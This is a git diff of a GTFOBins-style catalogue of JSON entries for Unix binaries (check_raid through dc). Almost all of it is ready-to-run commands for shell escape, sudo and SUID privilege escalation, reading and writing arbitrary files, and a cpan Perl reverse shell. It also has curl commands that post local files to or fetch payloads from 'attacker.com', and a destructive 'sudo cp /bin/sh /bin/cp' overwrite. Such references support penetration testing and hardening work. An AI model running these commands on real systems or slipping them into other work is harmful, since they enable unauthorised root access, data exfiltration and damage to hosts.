[ { - "code": "check_raid --extra-opts=@[file]\n" + + "code": "LFILE=file_to_read\ncheck_raid --extra-opts=@$LFILE\n" } ], "sudo": [ { - "code": "sudo check_raid --extra-opts=@[file]\n" + + "code": "LFILE=file_to_read\nsudo check_raid --extra-opts=@$LFILE\n" } ] } diff --git a/gtfo/data/check_ssl_cert.json b/gtfo/data/check_ssl_cert.json index a4f2555..4564c18 100644 --- a/gtfo/data/check_ssl_cert.json +++ b/gtfo/data/check_ssl_cert.json @@ -1,16 +1,15 @@ { - "description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n", "functions": { "command": [ { "description": "The host example.net must return a certificate via TLS", - "code": "TF=$(mktemp)\necho \"[command] | tee [file]\" > $TF\nchmod +x $TF\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat [file]\n" + "code": "COMMAND=id\nOUTPUT=output_file\nTF=$(mktemp)\necho \"$COMMAND | tee $OUTPUT\" > $TF\nchmod +x $TF\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat $OUTPUT\n" } ], "sudo": [ { "description": "The host example.net must return a certificate via TLS", - "code": "TF=$(mktemp)\necho \"[command] | tee [file]\" > $TF\nchmod +x $TF\numask 022\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat [file]\n" + "code": "COMMAND=id\nOUTPUT=output_file\nTF=$(mktemp)\necho \"$COMMAND | tee $OUTPUT\" > $TF\nchmod +x $TF\numask 022\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat $OUTPUT\n" } ] } diff --git a/gtfo/data/check_statusfile.json b/gtfo/data/check_statusfile.json index 43459b9..c94c9a6 100644 --- a/gtfo/data/check_statusfile.json +++ b/gtfo/data/check_statusfile.json @@ -1,14 +1,15 @@ { - "description": "This is the 'check_statusfile' Nagios plugi plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n", "functions": { "file-read": [ { - "code": "check_statusfile [file]\n" + + "code": "LFILE=file_to_read\ncheck_statusfile $LFILE\n" } ], "sudo": [ { - "code": "sudo check_statusfile [file]\n" + + "code": "LFILE=file_to_read\nsudo check_statusfile $LFILE\n" } ] } diff --git a/gtfo/data/chmod.json b/gtfo/data/chmod.json index dabf365..4b1902b 100644 --- a/gtfo/data/chmod.json +++ b/gtfo/data/chmod.json @@ -1,14 +1,15 @@ { - "description": "This can be run with elevated privileges to change permissions ('6' denotes the SUID bits) and then read, write, or execute a file.", "functions": { "suid": [ { - "code": "./chmod 6777 [file]\n" + + "code": "LFILE=file_to_change\n./chmod 6777 $LFILE\n" } ], "sudo": [ { - "code": "sudo chmod 6777 [file]\n" + + "code": "LFILE=file_to_change\nsudo chmod 6777 $LFILE\n" } ] } diff --git a/gtfo/data/choom.json b/gtfo/data/choom.json new file mode 100644 index 0000000..8b0888c --- /dev/null +++ b/gtfo/data/choom.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "choom -n 0 /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./choom -n 0 -- /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo choom -n 0 /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/chown.json b/gtfo/data/chown.json index c5f274c..02b36bd 100644 --- a/gtfo/data/chown.json +++ b/gtfo/data/chown.json @@ -1,15 +1,16 @@ { - "description": "This can be run with elevated privileges to change ownership and then read, write, or execute a file.", "functions": { "suid": [ { - "code": "./chown $(id -un):$(id -gn) [file]\n" + + "code": "LFILE=file_to_change\n./chown $(id -un):$(id -gn) $LFILE\n" } ], "sudo": [ { - "code": "sudo chown $(id -un):$(id -gn) [file]\n" + + "code": "LFILE=file_to_change\nsudo chown $(id -un):$(id -gn) $LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/chroot.json b/gtfo/data/chroot.json index d17912a..f46dd66 100644 --- a/gtfo/data/chroot.json +++ b/gtfo/data/chroot.json @@ -2,13 +2,15 @@ "functions": { "suid": [ { + "code": "./chroot / /bin/sh -p\n" } ], "sudo": [ { + "code": "sudo chroot /\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/chrt.json b/gtfo/data/chrt.json new file mode 100644 index 0000000..0c505e2 --- /dev/null +++ b/gtfo/data/chrt.json @@ -0,0 +1,28 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "chrt 26 /bin/sh\n" + } + ], + "command": [ + { + "description": "", + "code": "COMMAND='/usr/bin/id'\nchrt 26 \"$COMMAND\"\n" + } + ], + "suid": [ + { + "description": "", + "code": "./chrt 26 sh -p -c 'reset; exec sh -p 1>&0 2>&0'\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo chrt 26 /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/clamscan.json b/gtfo/data/clamscan.json new file mode 100644 index 0000000..6496c52 --- /dev/null +++ b/gtfo/data/clamscan.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nTF=$(mktemp -d)\ntouch $TF/empty.yara\nclamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\nTF=$(mktemp -d)\ntouch $TF/empty.yara\n./clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nTF=$(mktemp -d)\ntouch $TF/empty.yara\nsudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n" + } + ] + } +} diff --git a/gtfo/data/clisp.json b/gtfo/data/clisp.json new file mode 100644 index 0000000..d6a25e2 --- /dev/null +++ b/gtfo/data/clisp.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "clisp -x '(ext:run-shell-command \"sh\") (ext:exit)'\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo clisp -x '(ext:run-shell-command \"sh\") (ext:exit)'\n" + } + ] + } +} diff --git a/gtfo/data/cmake.json b/gtfo/data/cmake.json new file mode 100644 index 0000000..8b5eaaf --- /dev/null +++ b/gtfo/data/cmake.json @@ -0,0 +1,28 @@ +{ + "functions": { + "shell": [ + { + "description": "It can be used to break out from a restricted environment by spawning an interactive system shell.", + "code": "echo \"execute_process(COMMAND bash -i)\" > CMakeLists.txt\ncmake .\n" + } + ], + "file-read": [ + { + "description": "It can read files, and may be used to perform privileged reads or discloe files outside a restrited file system", + "code": "LFILE=file_to_read\ncmake -E cat $LFILE\n" + } + ], + "limited-suid": [ + { + "description": "It can perform execution in a privileged context, given the SUID bit is set", + "code": "echo \"execute_process(COMMAND whoami)\" > CMakeLists.txt\ncmake .\n" + } + ], + "sudo": [ + { + "description": "It can perform execution in a privileged context, given the user can run the binary with sudo", + "code": "echo \"execute_process(COMMAND bash -i)\" > CMakeLists.txt\nsudo cmake .\n" + } + ] + } +} diff --git a/gtfo/data/cmp.json b/gtfo/data/cmp.json new file mode 100644 index 0000000..3776e87 --- /dev/null +++ b/gtfo/data/cmp.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\ncmp $LFILE /dev/zero -b -l\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./cmp $LFILE /dev/zero -b -l\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo cmp $LFILE /dev/zero -b -l\n" + } + ] + } +} diff --git a/gtfo/data/cobc.json b/gtfo/data/cobc.json index 678f17d..cfc520f 100644 --- a/gtfo/data/cobc.json +++ b/gtfo/data/cobc.json @@ -2,13 +2,15 @@ "functions": { "shell": [ { + "code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\ncobc -xFj --frelax-syntax-checks $TF/x\n" } ], "sudo": [ { + "code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\nsudo cobc -xFj --frelax-syntax-checks $TF/x\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/code.json b/gtfo/data/code.json new file mode 100644 index 0000000..26ccadb --- /dev/null +++ b/gtfo/data/code.json @@ -0,0 +1,22 @@ +{ + "functions": { + "reverse-shell": [ + { + "description": "Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`.\n\nSelect `View \\ Terminal` to spawn a shell on remote.\n", + "code": "code tunnel -name 'my-tunnel-name'\n" + } + ], + "file-upload": [ + { + "description": "Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`.\n\nIn the `Explorer` tab, select `Open Folder`, then right-click on the folder and select `Upload`.\n\nSelect file from the local file browser.\n", + "code": "code tunnel -name 'my-tunnel-name'\n" + } + ], + "file-download": [ + { + "description": "Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`.\n\nIn the `Explorer` tab, select `Open Folder`, then select a file, right-click and select `Download`.\n", + "code": "code tunnel -name 'my-tunnel-name'\n" + } + ] + } +} diff --git a/gtfo/data/column.json b/gtfo/data/column.json index 7df715a..1d5b584 100644 --- a/gtfo/data/column.json +++ b/gtfo/data/column.json @@ -1,19 +1,21 @@ { - "description": "'column' expects textual data.\n", "functions": { "file-read": [ { - "code": "column [file]\n" + + "code": "LFILE=file_to_read\ncolumn $LFILE\n" } ], "suid": [ { - "code": "./column [file]\n" + + "code": "LFILE=file_to_read\n./column $LFILE\n" } ], "sudo": [ { - "code": "sudo column [file]\n" + + "code": "LFILE=file_to_read\nsudo column $LFILE\n" } ] } diff --git a/gtfo/data/comm.json b/gtfo/data/comm.json index ce6c793..e6e3654 100644 --- a/gtfo/data/comm.json +++ b/gtfo/data/comm.json @@ -2,17 +2,20 @@ "functions": { "file-read": [ { - "code": "comm [file] /dev/null 2>/dev/null\n" + + "code": "LFILE=file_to_read\ncomm $LFILE /dev/null 2>/dev/null\n" } ], "suid": [ { - "code": "comm [file] /dev/null 2>/dev/null\n" + + "code": "LFILE=file_to_read\ncomm $LFILE /dev/null 2>/dev/null\n" } ], "sudo": [ { - "code": "sudo comm [file] /dev/null 2>/dev/null\n" + + "code": "LFILE=file_to_read\nsudo comm $LFILE /dev/null 2>/dev/null\n" } ] } diff --git a/gtfo/data/composer.json b/gtfo/data/composer.json index dc68cae..1859cbd 100644 --- a/gtfo/data/composer.json +++ b/gtfo/data/composer.json @@ -2,16 +2,19 @@ "functions": { "shell": [ { + "code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\ncomposer --working-dir=$TF run-script x\n" } ], "limited-suid": [ { + "code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\n./composer --working-dir=$TF run-script x\n" } ], "sudo": [ { + "code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n" } ] diff --git a/gtfo/data/cowsay.json b/gtfo/data/cowsay.json index fdc131c..5e7ba71 100644 --- a/gtfo/data/cowsay.json +++ b/gtfo/data/cowsay.json @@ -1,13 +1,14 @@ { - "description": "It allows to execute Perl code, other functions may apply.", "functions": { "shell": [ { + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\ncowsay -f $TF x\n" } ], "sudo": [ { + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x\n" } ] diff --git a/gtfo/data/cowthink.json b/gtfo/data/cowthink.json index ccf4742..fffd65f 100644 --- a/gtfo/data/cowthink.json +++ b/gtfo/data/cowthink.json @@ -1,14 +1,16 @@ ---- -description: It allows to execute Perl code, other functions may apply. -functions: - shell: - - code: | - TF=$(mktemp) - echo 'exec "/bin/sh";' >$TF - cowthink -f $TF x - sudo: - - code: | - TF=$(mktemp) - echo 'exec "/bin/sh";' >$TF - sudo cowthink -f $TF x ---- +{ + "functions": { + "shell": [ + { + + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\ncowthink -f $TF x\n" + } + ], + "sudo": [ + { + + "code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowthink -f $TF x\n" + } + ] + } +} diff --git a/gtfo/data/cp.json b/gtfo/data/cp.json index 9e8b52f..f15491c 100644 --- a/gtfo/data/cp.json +++ b/gtfo/data/cp.json @@ -2,31 +2,43 @@ "functions": { "file-read": [ { - "code": "cp \"[file]\" /dev/stdout\n" + + "code": "LFILE=file_to_read\ncp \"$LFILE\" /dev/stdout\n" } ], "file-write": [ { - "code": "echo \"DATA\" | cp /dev/stdin \"[file]\"\n" + + "code": "LFILE=file_to_write\necho \"DATA\" | cp /dev/stdin \"$LFILE\"\n" } ], "suid": [ { - "code": "echo \"DATA\" | ./cp /dev/stdin \"[file]\"\n" + + "code": "LFILE=file_to_write\necho \"DATA\" | ./cp /dev/stdin \"$LFILE\"\n" }, { - "description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.", - "code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./cp $TF [file]\n" + "description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)", + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\n./cp $TF $LFILE\n" + }, + { + "description": "This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another.", + "code": "LFILE=file_to_change\n./cp --attributes-only --preserve=all ./cp \"$LFILE\"\n" } ], "sudo": [ { - "code": "echo \"DATA\" | sudo cp /dev/stdin \"[file]\"\n" + + "code": "LFILE=file_to_write\necho \"DATA\" | sudo cp /dev/stdin \"$LFILE\"\n" + }, + { + "description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)", + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF $LFILE\n" }, { - "description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.", - "code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF [file]\n" + "description": "This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action.", + "code": "sudo cp /bin/sh /bin/cp\nsudo cp\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/cpan.json b/gtfo/data/cpan.json index 3239932..bf91c63 100644 --- a/gtfo/data/cpan.json +++ b/gtfo/data/cpan.json @@ -2,32 +2,33 @@ "functions": { "shell": [ { - "description": "'cpan' lets you execute perl commands with the '! command'.\n", + "description": "`cpan` lets you execute perl commands with the `! command`.\n", "code": "cpan\n! exec '/bin/bash'\n" } ], "reverse-shell": [ { - "description": "Run 'nc -lvp [port]' on the attacker box to receive the shell.", - "code": "export RHOST=[host]\nexport RPORT=[port]\ncpan\n! use Socket; my $i=\"$ENV{RHOST}\"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\"); open(STDOUT,\">&S\"); open(STDERR,\">&S\"); exec(\"/bin/sh -i\");};\n" + "description": "Run `nc -lvp RPORT` on the attacker box to receive the shell.", + "code": "export RHOST=localhost\nexport RPORT=9000\ncpan\n! use Socket; my $i=\"$ENV{RHOST}\"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\"); open(STDOUT,\">&S\"); open(STDERR,\">&S\"); exec(\"/bin/sh -i\");};\n" } ], "file-upload": [ { - "description": "Serve files in the local folder running an HTTP server on port 8080. Install the dependency via 'cpan HTTP::Server::Simple'.", + "description": "Serve files in the local folder running an HTTP server on port 8080. Install the dependency via `cpan HTTP::Server::Simple`.", "code": "cpan\n! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();\n" } ], "file-download": [ { - "description": "Fetch a remote file via an HTTP GET request and store it in 'PWD'.", - "code": "export URL=[host]/[file]\ncpan\n! use File::Fetch; my $file = (File::Fetch->new(uri => \"$ENV{URL}\"))->fetch();\n" + "description": "Fetch a remote file via an HTTP GET request and store it in `PWD`.", + "code": "export URL=http://attacker.com/file_to_get\ncpan\n! use File::Fetch; my $file = (File::Fetch->new(uri => \"$ENV{URL}\"))->fetch();\n" } ], "sudo": [ { + "code": "sudo cpan\n! exec '/bin/bash'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/cpio.json b/gtfo/data/cpio.json index 4d7db47..42e7277 100644 --- a/gtfo/data/cpio.json +++ b/gtfo/data/cpio.json @@ -2,46 +2,48 @@ "functions": { "shell": [ { + "code": "echo '/bin/sh /dev/tty' >localhost\ncpio -o --rsh-command /bin/sh -F localhost:\n" } ], "file-read": [ { "description": "The content of the file is printed to standard output, between the cpio archive format header and footer.", - "code": "echo \"[file]\" | cpio -o\n" + "code": "LFILE=file_to_read\necho \"$LFILE\" | cpio -o\n" }, { - "description": "The whole directory structure is copied to '$TF'.", - "code": "TF=$(mktemp -d)\necho \"[file]\" | cpio -dp $TF\ncat \"$TF/[file]\"\n" + "description": "The whole directory structure is copied to `$TF`.", + "code": "LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | cpio -dp $TF\ncat \"$TF/$LFILE\"\n" } ], "file-write": [ { - "description": "Copies the file to the dir directory.", - "code": "echo [data] >[file]\necho [file] | cpio -up [dir]\n" + "description": "Copies `$LFILE` to the `$LDIR` directory.", + "code": "LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | cpio -up $LDIR\n" } ], "suid": [ { - "description": "The whole directory structure is copied to '$TF'.", - "code": "TF=$(mktemp -d)\necho \"[file]\" | ./cpio -R $UID -dp $TF\ncat \"$TF/[file]\"\n" + "description": "The whole directory structure is copied to `$TF`.", + "code": "LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | ./cpio -R $UID -dp $TF\ncat \"$TF/$LFILE\"\n" }, { "description": "Copies `$LFILE` to the `$LDIR` directory.", - "code": "echo [data] >[file]\necho [file] | ./cpio -R 0:0 -p [dir]\n" + "code": "LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | ./cpio -R 0:0 -p $LDIR\n" } ], "sudo": [ { + "code": "echo '/bin/sh /dev/tty' >localhost\nsudo cpio -o --rsh-command /bin/sh -F localhost:\n" }, { - "description": "The whole directory structure is copied to '$TF'.", - "code": "TF=$(mktemp -d)\necho \"[file]\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/[file]\"\n" + "description": "The whole directory structure is copied to `$TF`.", + "code": "LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/$LFILE\"\n" }, { - "description": "Copies the file to the dir directory.", - "code": "echo [data] >[file]\necho [file] | sudo cpio -R 0:0 -p [dir]\n" + "description": "Copies `$LFILE` to the `$LDIR` directory.", + "code": "LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | sudo cpio -R 0:0 -p $LDIR\n" } ] } diff --git a/gtfo/data/cpulimit.json b/gtfo/data/cpulimit.json index 83283d4..e6bf8cd 100644 --- a/gtfo/data/cpulimit.json +++ b/gtfo/data/cpulimit.json @@ -2,17 +2,20 @@ "functions": { "shell": [ { - "code": "cpulimit -l 100 -f /bin/sh" + + "code": "cpulimit -l 100 -f /bin/sh\n" } ], "suid": [ { - "code": "./cpulimit -l 100 -f -- /bin/sh -p" + + "code": "./cpulimit -l 100 -f -- /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo cpulimit -l 100 -f /bin/sh" + + "code": "sudo cpulimit -l 100 -f /bin/sh\n" } ] } diff --git a/gtfo/data/crash.json b/gtfo/data/crash.json index 210bd40..836aea5 100644 --- a/gtfo/data/crash.json +++ b/gtfo/data/crash.json @@ -2,20 +2,21 @@ "functions": { "shell": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "crash -h\n!sh\n" } ], "command": [ { - "code": "CRASHPAGER=\"[command]\" crash -h\n" + + "code": "COMMAND='/usr/bin/id'\nCRASHPAGER=\"$COMMAND\" crash -h\n" } ], "sudo": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo crash -h\n!sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/crontab.json b/gtfo/data/crontab.json index 92ae1ca..ca69617 100644 --- a/gtfo/data/crontab.json +++ b/gtfo/data/crontab.json @@ -2,15 +2,15 @@ "functions": { "command": [ { - "description": "The commands are executed according to the crontab file edited via the 'crontab' utility.", - "code": "crontab -e" + "description": "The commands are executed according to the crontab file edited via the `crontab` utility.", + "code": "crontab -e\n" } ], "sudo": [ { - "description": "The commands are executed according to the crontab file edited via the 'crontab' utility.", - "code": "sudo crontab -e" + "description": "The commands are executed according to the crontab file edited via the `crontab` utility.", + "code": "sudo crontab -e\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/csh.json b/gtfo/data/csh.json index 36f8e60..01d8680 100644 --- a/gtfo/data/csh.json +++ b/gtfo/data/csh.json @@ -2,23 +2,27 @@ "functions": { "shell": [ { - "code": "csh" + + "code": "csh\n" } ], "file-write": [ { - "code": "ash -c 'echo DATA > [file]'\n" + + "code": "export LFILE=file_to_write\nash -c 'echo DATA > $LFILE'\n" } ], "suid": [ { - "code": "./csh -b" + + "code": "./csh -b\n" } ], "sudo": [ { - "code": "sudo csh" + + "code": "sudo csh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/csplit.json b/gtfo/data/csplit.json index 5ec73df..8dbe737 100644 --- a/gtfo/data/csplit.json +++ b/gtfo/data/csplit.json @@ -2,17 +2,26 @@ "functions": { "file-read": [ { - "code": "csplit [file] 1\ncat xx01\n" + + "code": "LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01\n" + } + ], + "file-write": [ + { + "description": "Writes the data to `xx0file_to_write`. If needed, a different prefix can be specified with `-f` (instead of `xx`).", + "code": "TF=$(mktemp)\necho \"DATA\" > $TF\nLFILE=file_to_write\ncsplit -z -b \"%d$LFILE\" $TF 1\n" } ], "suid": [ { - "code": "csplit [file] 1\ncat xx01\n" + + "code": "LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01\n" } ], "sudo": [ { - "code": "csplit [file] 1\ncat xx01\n" + + "code": "LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01\n" } ] } diff --git a/gtfo/data/csvtool.json b/gtfo/data/csvtool.json index 148dee1..de9a1c4 100644 --- a/gtfo/data/csvtool.json +++ b/gtfo/data/csvtool.json @@ -3,28 +3,31 @@ "file-read": [ { "description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.", - "code": "csvtool trim t [file]\n" + "code": "LFILE=file_to_read\ncsvtool trim t $LFILE\n" } ], "file-write": [ { "description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.", - "code": "TF=$(mktemp)\necho [data] > $TF\ncsvtool trim t $TF -o [file]\n" + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho DATA > $TF\ncsvtool trim t $TF -o $LFILE\n" } ], "suid": [ { - "code": "./csvtool trim t [file]\n" + + "code": "LFILE=file_to_read\n./csvtool trim t $LFILE\n" } ], "shell": [ { - "code": "csvtool call '/bin/sh;false' /etc/passwd" + + "code": "csvtool call '/bin/sh;false' /etc/passwd\n" } ], "sudo": [ { - "code": "sudo csvtool call '/bin/sh;false' /etc/passwd" + + "code": "sudo csvtool call '/bin/sh;false' /etc/passwd\n" } ] } diff --git a/gtfo/data/ctr.json b/gtfo/data/ctr.json new file mode 100644 index 0000000..bdd4935 --- /dev/null +++ b/gtfo/data/ctr.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "If ctr sudo permissions, you can use it to escape to a root shell. It is necessary to add an existing image.", + "code": "sudo /usr/bin/ctr run --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest bash" + } + ] + } +} diff --git a/gtfo/data/cupsfilter.json b/gtfo/data/cupsfilter.json index 5487562..aa08f17 100644 --- a/gtfo/data/cupsfilter.json +++ b/gtfo/data/cupsfilter.json @@ -2,17 +2,20 @@ "functions": { "file-read": [ { - "code": "cupsfilter -i application/octet-stream -m application/octet-stream [file]\n" + + "code": "LFILE=file_to_read\ncupsfilter -i application/octet-stream -m application/octet-stream $LFILE\n" } ], "sudo": [ { - "code": "sudo cupsfilter -i application/octet-stream -m application/octet-stream [file]\n" + + "code": "LFILE=file_to_read\nsudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE\n" } ], "suid": [ { - "code": "./cupsfilter -i application/octet-stream -m application/octet-stream [file]\n" + + "code": "LFILE=file_to_read\n./cupsfilter -i application/octet-stream -m application/octet-stream $LFILE\n" } ] } diff --git a/gtfo/data/curl.json b/gtfo/data/curl.json index 45ae0af..9326c00 100644 --- a/gtfo/data/curl.json +++ b/gtfo/data/curl.json @@ -2,33 +2,45 @@ "functions": { "file-upload": [ { - "description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the '@' to send hard-coded data.", - "code": "curl -X POST -d @[file] [url]\n" + "description": "Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the `@` to send hard-coded data.", + "code": "URL=http://attacker.com/\nLFILE=file_to_send\ncurl -X POST -d \"@$LFILE\" $URL\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "curl [url] -o [file]\n" + "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\ncurl $URL -o $LFILE\n" } ], "file-read": [ { "description": "The file path must be absolute.", - "code": "curl file://[file]\n" + "code": "LFILE=/tmp/file_to_read\ncurl file://$LFILE\n" + } + ], + "file-write": [ + { + "description": "The file path must be absolute.", + "code": "LFILE=file_to_write\nTF=$(mktemp)\necho DATA >$TF\ncurl \"file://$TF\" -o \"$LFILE\"\n" } ], "suid": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "./curl [url] -o [file]\n" + "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\n./curl $URL -o $LFILE\n" } ], "sudo": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "sudo curl [url] -o [file]\n" + "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo curl $URL -o $LFILE\n" + } + ], + "library-load": [ + { + "description": "Load a shared library as OpenSSL engine. Only works if curl is compiled with OpenSSL and OpenSSL has engine support enabled.", + "code": "curl --engine /path/to/library.so https://example.com\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/cut.json b/gtfo/data/cut.json index 94b8a10..fc2e5f6 100644 --- a/gtfo/data/cut.json +++ b/gtfo/data/cut.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "cut -d \"\" -f1 [file]\n" + + "code": "LFILE=file_to_read\ncut -d \"\" -f1 \"$LFILE\"\n" } ], "suid": [ { - "code": "./cut -d \"\" -f1 [file]\n" + + "code": "LFILE=file_to_read\n./cut -d \"\" -f1 \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo cut -d \"\" -f1 [file]\n" + + "code": "LFILE=file_to_read\nsudo cut -d \"\" -f1 \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/dash.json b/gtfo/data/dash.json index 353d293..199867d 100644 --- a/gtfo/data/dash.json +++ b/gtfo/data/dash.json @@ -2,23 +2,27 @@ "functions": { "shell": [ { - "code": "dash" + + "code": "dash\n" } ], "file-write": [ { - "code": "dash -c 'echo DATA > [file]'\n" + + "code": "export LFILE=file_to_write\ndash -c 'echo DATA > $LFILE'\n" } ], "suid": [ { - "code": "./dash -p" + + "code": "./dash -p\n" } ], "sudo": [ { - "code": "sudo dash" + + "code": "sudo dash\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/date.json b/gtfo/data/date.json index fb17ef2..65942f6 100644 --- a/gtfo/data/date.json +++ b/gtfo/data/date.json @@ -1,20 +1,22 @@ { - "description": "Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. This only works for the GNU variant of 'date'.", "functions": { "file-read": [ { - "code": "date -f [file]\n" + + "code": "LFILE=file_to_read\ndate -f $LFILE\n" } ], "suid": [ { - "code": "./date -f [file]\n" + + "code": "LFILE=file_to_read\n./date -f $LFILE\n" } ], "sudo": [ { - "code": "sudo date -f [file]\n" + + "code": "LFILE=file_to_read\nsudo date -f $LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/dc.json b/gtfo/data/dc.json new file mode 100644 index 0000000..52d26dd --- /dev/null +++ b/gtfo/data/dc.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "dc -e '!/bin/sh'\n" + } + ], + "sudo": [ + { + + "code": "sudo dc -e '!/bin/sh'\n" + } + ], + "limited-suid": [ + { + 